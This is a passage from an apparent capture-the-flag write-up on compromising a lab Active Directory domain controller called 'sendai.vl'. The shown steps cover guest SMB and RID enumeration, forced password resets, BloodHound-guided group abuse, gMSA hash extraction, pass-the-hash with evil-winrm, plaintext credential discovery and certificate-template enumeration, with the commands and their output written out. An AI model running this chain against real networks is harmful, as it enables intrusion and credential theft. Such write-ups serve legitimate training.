1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:dc.sendai.vl | Issuer: commonName=sendai-DC-CA/domainComponent=sendai | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-08-18T12:30:05 | Not valid after: 2026-08-18T12:30:05 | MD5: 879e:fbc1:988b:964a:e183:6735:66b8:9f3c | SHA-1: 099e:0fbb:349b:7fb1:35de:6acb:77a4:c3e5:d0e1:4578 | -----BEGIN CERTIFICATE----- | MIIGFTCCBP2gAwIBAgITVwAAAATYPsFplvexvwAAAAAABDANBgkqhkiG9w0BAQsF | ADBDMRIwEAYKCZImiZPyLGQBGRYCdmwxFjAUBgoJkiaJk/IsZAEZFgZzZW5kYWkx | FTATBgNVBAMTDHNlbmRhaS1EQy1DQTAeFw0yNTA4MTgxMjMwMDVaFw0yNjA4MTgx | MjMwMDVaMBcxFTATBgNVBAMTDGRjLnNlbmRhaS52bDCCASIwDQYJKoZIhvcNAQEB | BQADggEPADCCAQoCggEBAM/zoBh9/Vf9Dg2a7ZByPbs7K7m34f14/NBkNL+qvWwW | A6uVwcXtdqZTm2m/ihyTcq1HCADBVR57BcB0S6nkIIqoTis/ATH+E4zj1Mpek3ml | IxXv3yer14cVtP5cCmlm92rFMLbdAmnH3VyEGoE0pg64OtwPbAuYHTpnuaRQvdfl | dWILGe0qsBahDpOhgxnpxLZFuacK3mCy45mz8T1iwYpMLo9WE7z2o/THjP58dCJ3 | +a9HoEcqz5mdon4OK/ZDWokCC5m2JVXwdglm04SeU5pTLqIuvkvrFPF6xByTo6OG | w0mD55O3dpqu2AXPHpxmSszZUHZedZ7oZYHah9X/vlkCAwEAAaOCAywwggMoMC8G | CSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcjAd | BgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/BAQDAgWgMHgG | CSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3DQMEAgIAgDAL | BglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjALBglghkgBZQME | AQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwTQYJKwYBBAGCNxkCBEAwPqA8BgorBgEE | AYI3GQIBoC4ELFMtMS01LTIxLTMwODU4NzI3NDItNTcwOTcyODIzLTczNjc2NDEz | Mi0xMDAwMDgGA1UdEQQxMC+gHwYJKwYBBAGCNxkBoBIEEB6FyoYBEbdOhIdd+rz6 | DSGCDGRjLnNlbmRhaS52bDAdBgNVHQ4EFgQUvcswuDmO6a7M1hAuQYYIq7/AN/Qw | HwYDVR0jBBgwFoAUSemJy2wGmS2/ToDZ6jjJnKaooz4wgcMGA1UdHwSBuzCBuDCB | taCBsqCBr4aBrGxkYXA6Ly8vQ049c2VuZGFpLURDLUNBLENOPWRjLENOPUNEUCxD | Tj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1 | cmF0aW9uLERDPXNlbmRhaSxEQz12bD9jZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0 | P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0aW9uUG9pbnQwgbwGCCsGAQUF | BwEBBIGvMIGsMIGpBggrBgEFBQcwAoaBnGxkYXA6Ly8vQ049c2VuZGFpLURDLUNB | LENOPUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxD | Tj1Db25maWd1cmF0aW9uLERDPXNlbmRhaSxEQz12bD9jQUNlcnRpZmljYXRlP2Jh | c2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTANBgkqhkiG9w0B | AQsFAAOCAQEAhxfDqVgK+WpagVPhh89RuqlcLnfnYgeBTRQTEwrzI7OZ4SF1//04 | eSwGSqxNPoShh7oMGO2FE/ad5LxFu1KdS+zTWyXCw4B9HgXKOdM1wmxpJujwFyXt | JGZHrnQzaa0ePj9i/tpjk/D0Q0gurbAkjTlEw5FAitraZuYOT7SVf8bL0u/6RIBo | syB2pUE3O//Dj+O7t2xOj9swvokQ6Dnlq0VN313aIVrPrgFnUdfVpd3B2yoXXziD | KZ2i9fc55HIMZ5VM/aN5M7UT1KqdD7BoEG8b3bq0gi0iCCsxjQyRMsw5Dd3UcCuQ | R4i0WBM2m9vQoSf/jw1s4S1uQ69/cK9iwQ== |_-----END CERTIFICATE----- 3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sendai.vl0., Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=dc.sendai.vl | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:dc.sendai.vl | Issuer: commonName=sendai-DC-CA/domainComponent=sendai | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-08-18T12:30:05 | Not valid after: 2026-08-18T12:30:05 | MD5: 879e:fbc1:988b:964a:e183:6735:66b8:9f3c | SHA-1: 099e:0fbb:349b:7fb1:35de:6acb:77a4:c3e5:d0e1:4578 | -----BEGIN CERTIFICATE----- | MIIGFTCCBP2gAwIBAgITVwAAAATYPsFplvexvwAAAAAABDANBgkqhkiG9w0BAQsF | ADBDMRIwEAYKCZImiZPyLGQBGRYCdmwxFjAUBgoJkiaJk/IsZAEZFgZzZW5kYWkx | FTATBgNVBAMTDHNlbmRhaS1EQy1DQTAeFw0yNTA4MTgxMjMwMDVaFw0yNjA4MTgx | MjMwMDVaMBcxFTATBgNVBAMTDGRjLnNlbmRhaS52bDCCASIwDQYJKoZIhvcNAQEB | BQADggEPADCCAQoCggEBAM/zoBh9/Vf9Dg2a7ZByPbs7K7m34f14/NBkNL+qvWwW | A6uVwcXtdqZTm2m/ihyTcq1HCADBVR57BcB0S6nkIIqoTis/ATH+E4zj1Mpek3ml | IxXv3yer14cVtP5cCmlm92rFMLbdAmnH3VyEGoE0pg64OtwPbAuYHTpnuaRQvdfl | dWILGe0qsBahDpOhgxnpxLZFuacK3mCy45mz8T1iwYpMLo9WE7z2o/THjP58dCJ3 | +a9HoEcqz5mdon4OK/ZDWokCC5m2JVXwdglm04SeU5pTLqIuvkvrFPF6xByTo6OG | w0mD55O3dpqu2AXPHpxmSszZUHZedZ7oZYHah9X/vlkCAwEAAaOCAywwggMoMC8G | CSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcjAd | BgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/BAQDAgWgMHgG | CSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3DQMEAgIAgDAL | BglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjALBglghkgBZQME | AQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwTQYJKwYBBAGCNxkCBEAwPqA8BgorBgEE | AYI3GQIBoC4ELFMtMS01LTIxLTMwODU4NzI3NDItNTcwOTcyODIzLTczNjc2NDEz | Mi0xMDAwMDgGA1UdEQQxMC+gHwYJKwYBBAGCNxkBoBIEEB6FyoYBEbdOhIdd+rz6 | DSGCDGRjLnNlbmRhaS52bDAdBgNVHQ4EFgQUvcswuDmO6a7M1hAuQYYIq7/AN/Qw | HwYDVR0jBBgwFoAUSemJy2wGmS2/ToDZ6jjJnKaooz4wgcMGA1UdHwSBuzCBuDCB | taCBsqCBr4aBrGxkYXA6Ly8vQ049c2VuZGFpLURDLUNBLENOPWRjLENOPUNEUCxD | Tj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1 | cmF0aW9uLERDPXNlbmRhaSxEQz12bD9jZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0 | P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0aW9uUG9pbnQwgbwGCCsGAQUF | BwEBBIGvMIGsMIGpBggrBgEFBQcwAoaBnGxkYXA6Ly8vQ049c2VuZGFpLURDLUNB | LENOPUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxD | Tj1Db25maWd1cmF0aW9uLERDPXNlbmRhaSxEQz12bD9jQUNlcnRpZmljYXRlP2Jh | c2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTANBgkqhkiG9w0B | AQsFAAOCAQEAhxfDqVgK+WpagVPhh89RuqlcLnfnYgeBTRQTEwrzI7OZ4SF1//04 | eSwGSqxNPoShh7oMGO2FE/ad5LxFu1KdS+zTWyXCw4B9HgXKOdM1wmxpJujwFyXt | JGZHrnQzaa0ePj9i/tpjk/D0Q0gurbAkjTlEw5FAitraZuYOT7SVf8bL0u/6RIBo | syB2pUE3O//Dj+O7t2xOj9swvokQ6Dnlq0VN313aIVrPrgFnUdfVpd3B2yoXXziD | KZ2i9fc55HIMZ5VM/aN5M7UT1KqdD7BoEG8b3bq0gi0iCCsxjQyRMsw5Dd3UcCuQ | R4i0WBM2m9vQoSf/jw1s4S1uQ69/cK9iwQ== |_-----END CERTIFICATE----- 3389/tcp open ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services |_ssl-date: 2025-09-10T20:27:26+00:00; 0s from scanner time. | ssl-cert: Subject: commonName=dc.sendai.vl | Issuer: commonName=dc.sendai.vl | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-04-15T02:26:14 | Not valid after: 2025-10-15T02:26:14 | MD5: 4f35:91c2:3387:873e:3f73:7e83:1f59:fbbb | SHA-1: 584e:2cc7:1336:099a:33c8:eee9:efe0:6922:8e71:95ce | -----BEGIN CERTIFICATE----- | MIIC3DCCAcSgAwIBAgIQKuF1NcIlY4FNpMV86ttHbzANBgkqhkiG9w0BAQsFADAX | MRUwEwYDVQQDEwxkYy5zZW5kYWkudmwwHhcNMjUwNDE1MDIyNjE0WhcNMjUxMDE1 | MDIyNjE0WjAXMRUwEwYDVQQDEwxkYy5zZW5kYWkudmwwggEiMA0GCSqGSIb3DQEB | AQUAA4IBDwAwggEKAoIBAQDNHgDP8zUjKEITrDV+OcmojamI683UUr5mxScIqNQS | IDhdLKRgVTB+uRlwLU4XNAtLnN6xVCd1GLAMJwHZDAr084MjDHjwnfUihc5VZImp | wXRsQunh6Wz0EwPTjTOKkaavM/n4xOBFBNGrtRNMiQj9ClIxNug1/ntLTntuMnWD | QdG1qzjTr19uazqbXFCHjuWobbM4oxEezJIlgM8JEaliloK4j1h5LPPBwhuZWPUu | TG/Cr+VnGw4k/SU/jevDINNiweT90MBf7aKTQogJBUpJMd/qwnz6MhUwUPxQyN3u | lJkM/60PwrGNG49NovTnueupuQLlr0ZK2p1AJL3REpydAgMBAAGjJDAiMBMGA1Ud | JQQMMAoGCCsGAQUFBwMBMAsGA1UdDwQEAwIEMDANBgkqhkiG9w0BAQsFAAOCAQEA | DrykA5TA6uNu+Cq6GKkoak4ecJ5Bvnosjg69juRiJKU8MnimNshVoJeAAc6CEGuS | Pr9+dALaUthlI1i083NTyLePICWWE3HIh4x2Vuk6dOF5fVTsQqdFfpXQt83Bus/s | NFpGXxbDE6a1elVwRFtymPUbSiBLF3cBGm2ud7P+TPCE8tKohF06K1C5f51Css5i | B/IzGFhKYjHsHRKPYMNbWcQDIX3yNH92S/VBvzS4IauUyvDCbBBKIhq2GhKRfHJp | boGHCZdqobPNLnd80loYHYdbBoVxMT24YEAKhlbpDfvaKmIEtnVcuBHPlWtJdMfO | jLGAEg3qGeeiaJ02yGMaug== |_-----END CERTIFICATE----- | rdp-ntlm-info: | Target_Name: SENDAI | NetBIOS_Domain_Name: SENDAI | NetBIOS_Computer_Name: DC | DNS_Domain_Name: sendai.vl | DNS_Computer_Name: dc.sendai.vl | DNS_Tree_Name: sendai.vl | Product_Version: 10.0.20348 |_ System_Time: 2025-09-10T20:26:46+00:00 5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing 49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 52627/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 56893/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 56895/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 56912/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 57531/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 57550/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%) OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016 OS fingerprint not ideal because: Missing a closed TCP port so results incomplete Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%) No exact OS matches for host (test conditions non-ideal). TCP/IP fingerprint: SCAN(V=7.95%E=4%D=9/10%OT=53%CT=%CU=%PV=Y%DS=2%DC=T%G=N%TM=68C1DF30%P=x86_64-pc-linux-gnu) SEQ(SP=104%GCD=2%ISR=10A%TI=I%II=I%SS=S%TS=A) SEQ(SP=FF%GCD=1%ISR=104%TI=I%II=I%SS=S%TS=A) OPS(O1=M552NW8ST11%O2=M552NW8ST11%O3=M552NW8NNT11%O4=M552NW8ST11%O5=M552NW8ST11%O6=M552ST11) WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFDC) ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M552NW8NNS%CC=Y%Q=) T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=) T2(R=N) T3(R=N) T4(R=N) U1(R=N) IE(R=Y%DFI=N%TG=80%CD=Z) Uptime guess: 0.016 days (since Wed Sep 10 21:05:00 2025) Network Distance: 2 hops TCP Sequence Prediction: Difficulty=260 (Good luck!) IP ID Sequence Generation: Incremental Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required | smb2-time: | date: 2025-09-10T20:26:50 |_ start_date: N/A |_clock-skew: mean: 0s, deviation: 0s, median: 0s | p2p-conficker: | Checking for Conficker.C or higher... | Check 1 (port 46518/tcp): CLEAN (Timeout) | Check 2 (port 49587/tcp): CLEAN (Timeout) | Check 3 (port 64934/udp): CLEAN (Timeout) | Check 4 (port 41472/udp): CLEAN (Timeout) |_ 0/4 checks are positive: Host is CLEAN or ports are blocked TRACEROUTE (using port 443/tcp) HOP RTT ADDRESS 1 46.56 ms 10.10.14.1 (10.10.14.1) 2 46.95 ms 10.129.220.222 (10.129.220.222) Read data files from: /usr/share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Sep 10 21:27:28 2025 -- 1 IP address (1 host up) scanned in 197.26 seconds </code></pre> <h2>Updating Hosts File</h2> <p>To ensure proper name resolution for Kerberos authentication and other domain operations, I added the target to my local hosts file:</p> <pre><code>└─$ echo -e "10.129.140.152\tDC.sendai.vl\tsendai.vl\tDC" | sudo tee -a /etc/hosts 10.129.140.152 DC.sendai.vl sendai.vl DC </code></pre> <h2>SMB Enumeration with Guest Access</h2> <p>Starting reconnaissance with a guest account enumeration of available SMB shares on the target domain controller:</p> <pre><code>└─$ nxc smb 10.129.220.222 -u "Guest" -p "" --shares SMB 10.129.220.222 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:sendai.vl) (signing:True) (SMBv1:False) SMB 10.129.220.222 445 DC [+] sendai.vl\Guest: SMB 10.129.220.222 445 DC [*] Enumerated shares SMB 10.129.220.222 445 DC Share Permissions Remark SMB 10.129.220.222 445 DC ----- ----------- ------ SMB 10.129.220.222 445 DC ADMIN$ Remote Admin SMB 10.129.220.222 445 DC C$ Default share SMB 10.129.220.222 445 DC config SMB 10.129.220.222 445 DC IPC$ READ Remote IPC SMB 10.129.220.222 445 DC NETLOGON Logon server share SMB 10.129.220.222 445 DC sendai READ company share SMB 10.129.220.222 445 DC SYSVOL Logon server share SMB 10.129.220.222 445 DC Users READ </code></pre> <p>The enumeration revealed that guest access was enabled, providing READ access to several shares including a company share named "sendai" and the standard Users share.</p> <h2>Exploring the Company Share</h2> <p>Since I had read access to the "sendai" share, I explored its contents and discovered an interesting file:</p> <p><img src="images/image.png" alt="alt text" /></p> <h2>Analyzing the Security Incident Report</h2> <p>The incident.txt file contained a revealing security announcement from the IT department:</p> <pre><code>└─$ cat incident.txt Dear valued employees, We hope this message finds you well. We would like to inform you about an important security update regarding user account passwords. Recently, we conducted a thorough penetration test, which revealed that a significant number of user accounts have weak and insecure passwords. To address this concern and maintain the highest level of security within our organization, the IT department has taken immediate action. All user accounts with insecure passwords have been expired as a precautionary measure. This means that affected users will be required to change their passwords upon their next login. We kindly request all impacted users to follow the password reset process promptly to ensure the security and integrity of our systems. Please bear in mind that strong passwords play a crucial role in safeguarding sensitive information and protecting our network from potential threats. If you need assistance or have any questions regarding the password reset procedure, please don't hesitate to reach out to the IT support team. They will be more than happy to guide you through the process and provide any necessary support. Thank you for your cooperation and commitment to maintaining a secure environment for all of us. Your vigilance and adherence to robust security practices contribute significantly to our collective safety. </code></pre> <p>This document was gold - it revealed that accounts with weak passwords had been expired, meaning users would need to reset their passwords. This suggested there might be accounts with empty passwords or in a password-must-change state.</p> <h2>Domain User Enumeration</h2> <p>I proceeded to enumerate all domain users using RID brute forcing to identify potential targets:</p> <pre><code>└─$ nxc smb 10.129.220.222 -u "Guest" -p "" --rid-brute SMB 10.129.220.222 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:sendai.vl) (signing:True) (SMBv1:False) SMB 10.129.220.222 445 DC [+] sendai.vl\Guest: SMB 10.129.220.222 445 DC 498: SENDAI\Enterprise Read-only Domain Controllers (SidTypeGroup) SMB 10.129.220.222 445 DC 500: SENDAI\Administrator (SidTypeUser) SMB 10.129.220.222 445 DC 501: SENDAI\Guest (SidTypeUser) SMB 10.129.220.222 445 DC 502: SENDAI\krbtgt (SidTypeUser) SMB 10.129.220.222 445 DC 512: SENDAI\Domain Admins (SidTypeGroup) SMB 10.129.220.222 445 DC 513: SENDAI\Domain Users (SidTypeGroup) SMB 10.129.220.222 445 DC 514: SENDAI\Domain Guests (SidTypeGroup) SMB 10.129.220.222 445 DC 515: SENDAI\Domain Computers (SidTypeGroup) SMB 10.129.220.222 445 DC 516: SENDAI\Domain Controllers (SidTypeGroup) SMB 10.129.220.222 445 DC 517: SENDAI\Cert Publishers (SidTypeAlias) SMB 10.129.220.222 445 DC 518: SENDAI\Schema Admins (SidTypeGroup) SMB 10.129.220.222 445 DC 519: SENDAI\Enterprise Admins (SidTypeGroup) SMB 10.129.220.222 445 DC 520: SENDAI\Group Policy Creator Owners (SidTypeGroup) SMB 10.129.220.222 445 DC 521: SENDAI\Read-only Domain Controllers (SidTypeGroup) SMB 10.129.220.222 445 DC 522: SENDAI\Cloneable Domain Controllers (SidTypeGroup) SMB 10.129.220.222 445 DC 525: SENDAI\Protected Users (SidTypeGroup) SMB 10.129.220.222 445 DC 526: SENDAI\Key Admins (SidTypeGroup) SMB 10.129.220.222 445 DC 527: SENDAI\Enterprise Key Admins (SidTypeGroup) SMB 10.129.220.222 445 DC 553: SENDAI\RAS and IAS Servers (SidTypeAlias) SMB 10.129.220.222 445 DC 571: SENDAI\Allowed RODC Password Replication Group (SidTypeAlias) SMB 10.129.220.222 445 DC 572: SENDAI\Denied RODC Password Replication Group (SidTypeAlias) SMB 10.129.220.222 445 DC 1000: SENDAI\DC$ (SidTypeUser) SMB 10.129.220.222 445 DC 1101: SENDAI\DnsAdmins (SidTypeAlias) SMB 10.129.220.222 445 DC 1102: SENDAI\DnsUpdateProxy (SidTypeGroup) SMB 10.129.220.222 445 DC 1103: SENDAI\SQLServer2005SQLBrowserUser$DC (SidTypeAlias) SMB 10.129.220.222 445 DC 1104: SENDAI\sqlsvc (SidTypeUser) SMB 10.129.220.222 445 DC 1105: SENDAI\websvc (SidTypeUser) SMB 10.129.220.222 445 DC 1107: SENDAI\staff (SidTypeGroup) SMB 10.129.220.222 445 DC 1108: SENDAI\Dorothy.Jones (SidTypeUser) SMB 10.129.220.222 445 DC 1109: SENDAI\Kerry.Robinson (SidTypeUser) SMB 10.129.220.222 445 DC 1110: SENDAI\Naomi.Gardner (SidTypeUser) SMB 10.129.220.222 445 DC 1111: SENDAI\Anthony.Smith (SidTypeUser) SMB 10.129.220.222 445 DC 1112: SENDAI\Susan.Harper (SidTypeUser) SMB 10.129.220.222 445 DC 1113: SENDAI\Stephen.Simpson (SidTypeUser) SMB 10.129.220.222 445 DC 1114: SENDAI\Marie.Gallagher (SidTypeUser) SMB 10.129.220.222 445 DC 1115: SENDAI\Kathleen.Kelly (SidTypeUser) SMB 10.129.220.222 445 DC 1116: SENDAI\Norman.Baxter (SidTypeUser) SMB 10.129.220.222 445 DC 1117: SENDAI\Jason.Brady (SidTypeUser) SMB 10.129.220.222 445 DC 1118: SENDAI\Elliot.Yates (SidTypeUser) SMB 10.129.220.222 445 DC 1119: SENDAI\Malcolm.Smith (SidTypeUser) SMB 10.129.220.222 445 DC 1120: SENDAI\Lisa.Williams (SidTypeUser) SMB 10.129.220.222 445 DC 1121: SENDAI\Ross.Sullivan (SidTypeUser) SMB 10.129.220.222 445 DC 1122: SENDAI\Clifford.Davey (SidTypeUser) SMB 10.129.220.222 445 DC 1123: SENDAI\Declan.Jenkins (SidTypeUser) SMB 10.129.220.222 445 DC 1124: SENDAI\Lawrence.Grant (SidTypeUser) SMB 10.129.220.222 445 DC 1125: SENDAI\Leslie.Johnson (SidTypeUser) SMB 10.129.220.222 445 DC 1126: SENDAI\Megan.Edwards (SidTypeUser) SMB 10.129.220.222 445 DC 1127: SENDAI\Thomas.Powell (SidTypeUser) SMB 10.129.220.222 445 DC 1128: SENDAI\ca-operators (SidTypeGroup) SMB 10.129.220.222 445 DC 1129: SENDAI\admsvc (SidTypeGroup) SMB 10.129.220.222 445 DC 1130: SENDAI\mgtsvc$ (SidTypeUser) SMB 10.129.220.222 445 DC 1131: SENDAI\support (SidTypeGroup) </code></pre> <p>I extracted all the usernames into a file for password testing:</p> <pre><code>└─$ cat tmp_users.txt | grep SidTypeUser | awk '{print $6}' | awk -F\\ '{print $2}' &gt; users.txt </code></pre> <h2>Testing for Weak Password Policies</h2> <p>Based on the incident report mentioning weak passwords, I tested if any users had blank passwords or were in a password-must-change state:</p> <pre><code>└─$ nxc smb sendai.vl -u users.txt -p "" --continue-on-success </code></pre> <p><img src="images/image-1.png" alt="alt text" /></p> <p>I discovered two accounts with "STATUS_PASSWORD_MUST_CHANGE" - exactly what the incident report had hinted at. These accounts (Elliot.Yates and Thomas.Powell) had expired passwords and needed to be reset.</p> <h2>Password Reset and Initial Access</h2> <p>To take advantage of this, I used NetExec's password change module to set a new password for Elliot.Yates, thereby obtaining valid domain credentials:</p> <pre><code>└─$ nxc smb sendai.vl -u "Elliot.Yates" -p "" -M change-password -o NEWPASS=Password@123 </code></pre> <p><img src="images/image-2.png" alt="alt text" /></p> <p>With the password successfully changed, I now had working credentials for a domain user account.</p> <h2>Active Directory Analysis with BloodHound</h2> <p>With valid credentials in hand, I collected comprehensive Active Directory data for analysis using BloodHound:</p> <pre><code>└─$ bloodhound-python -d sendai.vl -u "Elliot.Yates" -p "Password@123" -ns 10.129.125.63 -dc DC.sendai.vl -c All --zip INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3) INFO: Found AD domain: sendai.vl INFO: Getting TGT for user INFO: Connecting to LDAP server: DC.sendai.vl INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 1 computers INFO: Connecting to LDAP server: DC.sendai.vl INFO: Found 27 users INFO: Found 57 groups INFO: Found 2 gpos INFO: Found 5 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: dc.sendai.vl INFO: Done in 00M 11S INFO: Compressing output into 20250914234327_bloodhound.zip </code></pre> <p>After ingesting the BloodHound data, I discovered that both Elliot.Yates and Thomas.Powell were members of the "support" group, which had GenericAll privileges on the "ADMSVC" group:</p> <p><img src="images/image-3.png" alt="alt text" /></p> <p>This GenericAll privilege meant I could add members to the ADMSVC group, I noticed that ADMSVC group can read gmsa password of MGTSVC$, so this might be the correct path</p> <p><img src="images/image-4.png" alt="alt text" /></p> <h2>Exploiting Group Membership Control</h2> <p>To escalate privileges, I leveraged the GenericAll permission to add Elliot.Yates to the ADMSVC group:</p> <pre><code>└─$ bloodyAD -u "Elliot.Yates" -p "Password@123" -d sendai.vl --host dc.sendai.vl add groupMember "ADMSVC" "ELLIOT.YATES" [+] ELLIOT.YATES added to ADMSVC </code></pre> <p>With ADMSVC membership established, I could now access the gMSA password for the MGTSVC$ service account:</p> <pre><code>└─$ nxc ldap sendai.vl -u "Elliot.Yates" -p "Password@123" --gmsa LDAP 10.129.140.152 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:sendai.vl) (signing:None) (channel binding:Never) LDAP 10.129.140.152 389 DC [+] sendai.vl\Elliot.Yates:Password@123 LDAP 10.129.140.152 389 DC [*] Getting GMSA Passwords LDAP 10.129.140.152 389 DC Account: mgtsvc$ NTLM: 9ed35c68b88f35007aa32c14c1332ce7 PrincipalsAllowedToReadPassword: admsvc </code></pre> <p>Using the extracted NTLM hash, I authenticated to the domain controller as the MGTSVC$ service account:</p> <pre><code>└─$ evil-winrm -i sendai.vl -u "mgtsvc$" -H "9ed35c68b88f35007aa32c14c1332ce7" Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\mgtsvc$\Documents&gt; </code></pre> <h1>Post-Exploit Enumeration and Privilege Escalation</h1> <p>With access as the service account, I began exploring the system for additional credentials or attack vectors. A review of the C:\ directory revealed a configuration folder that contained database credentials:</p> <pre><code>*Evil-WinRM* PS C:\&gt; ls Directory: C:\ Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 7/11/2023 5:56 AM config d----- 4/15/2025 8:20 PM inetpub d----- 5/8/2021 1:20 AM PerfLogs d-r--- 4/15/2025 7:51 PM Program Files d----- 7/18/2023 6:11 AM Program Files (x86) d----- 7/18/2023 10:31 AM sendai d----- 7/11/2023 2:35 AM SQL2019 d-r--- 9/17/2025 1:58 AM Users d----- 8/18/2025 5:04 AM Windows -a---- 4/15/2025 8:27 PM 32 user.txt *Evil-WinRM* PS C:\&gt; cd config *Evil-WinRM* PS C:\config&gt; cat .sqlconfig Server=dc.sendai.vl,1433;Database=prod;User Id=sqlsvc;Password=SurenessBlob85; </code></pre> <p>The SQL configuration file revealed credentials for the sqlsvc account. After testing various privilege escalation vectors with these credentials without success, I shifted focus to enumerating running services for additional attack surfaces.</p> <h2>Process and Service Enumeration</h2> <p>looking at the processes I found a weird process named helpdesk</p> <p><img src="images/image-7.png" alt="alt text" /></p> <p>I examined the Windows registry for service configurations containing the name helpdesk:</p> <pre><code>*Evil-WinRM* PS C:\Users\mgtsvc$\documents&gt; dir -Path HKLM:\SYSTEM\CurrentControlSet\services | Get-ItemProperty | Select-Object ImagePath | select-string "helpdesk" </code></pre> <p>This enumeration revealed another set of credentials embedded in a service configuration for the user Clifford.Davey:</p> <p><img src="images/image-8.png" alt="alt text" /></p> <h2>Analyzing Certificate Authority Permissions</h2> <p>Referring back to the BloodHound data, I confirmed that Clifford.Davey was a member of the CA-OPERATORS group, which suggested potential access to certificate authority operations:</p> <p><img src="images/image-6.png" alt="alt text" /></p> <h2>Certificate Template Vulnerability Assessment</h2> <p>With Clifford.Davey's credentials, I performed a comprehensive enumeration of the Active Directory Certificate Services to identify potential vulnerabilities:</p> <pre><code>└─$ certipy-ad find -u "clifford.davey" -p "RFmoB2WplgE_3p" -dc-ip 10.129.140.152 -dc-host dc.sendai.vl -ns 10.129.140.152 -enabled -stdout -vulnerable Certipy v5.0.3 - by Oliver Lyak (ly4k) [*] Finding certificate templates [*] Found 34 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 12 enabled certificate templates [*] Finding issuance policies [*] Found 16 issuance policies [*] Found 0 OIDs linked to templates [*] Retrieving CA configuration for 'sendai-DC-CA' via RRP [*] Successfully retrieved CA configuration for 'sendai-DC-CA' [*] Checking web enrollment for CA 'sendai-DC-CA' @ 'dc.sendai.vl' [*] Enumeration output: Certificate Authorities 0 CA Name : sendai-DC-CA DNS Name : dc.sendai.vl Certificate Subject : CN=sendai-DC-CA, DC=sendai, DC=vl Certificate Serial Number : 326E51327366FC954831ECD5C04423BE Certificate Validity Start : 2023-07-11 09:19:29+00:00 Certificate Validity End : 2123-07-11 09:29:29+00:00 Web Enrollment HTTP Enabled : False HTTPS Enabled : False User Specified SAN : Disabled Request Disposition : 